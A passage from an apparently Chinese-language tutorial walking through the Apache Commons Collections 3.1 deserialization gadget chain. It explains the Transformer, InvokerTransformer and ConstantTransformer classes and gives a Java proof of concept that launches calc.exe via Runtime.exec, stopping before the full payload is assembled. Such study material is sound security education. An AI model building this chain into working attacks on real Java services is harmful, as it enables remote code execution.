由于CC链还是比较复杂的,我们可以先看命令执行的部分payload
之后再加上反序列化部分组成一个完整的payload
项目导入依赖,这里使用3.1版本
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
先来看看以下几个类
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法
public interface Transformer { public Object transform(Object input); }
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象
InvokerTransformer
是实现了Transformer
接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。 在实例化这个InvokerTransformer
时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;
关键代码如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; //函数名 this.iParamTypes = paramTypes; //函数参数的类型 this.iArgs = args; //参数对象 } public Object transform(Object input) { Class cls = input.getClass(); //获取input的类 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法 return method.invoke(input, this.iArgs); //执行 }
很清楚的可以看到,方法名
,方法所需的参数类型
,方法的参数
,我们都可以控制,通过Java反射机制,我们可以构造一个命令执行:
public class Test { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); Transformer invoketransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); invoketransformer.transform(runtime); } }
这就需要一个条件,在调用transform
方法的时候,需要传递一个Runtime.getRuntime()
,这几乎是不可能的,没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小,实现在反序列化时就能够rce,所以需要想办法把传递Runtime.getRuntime()
这一条件给去掉。接着就找到了ConstantTransformer
这个类
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作,那么和上面的InvokerTransformer
搭配一下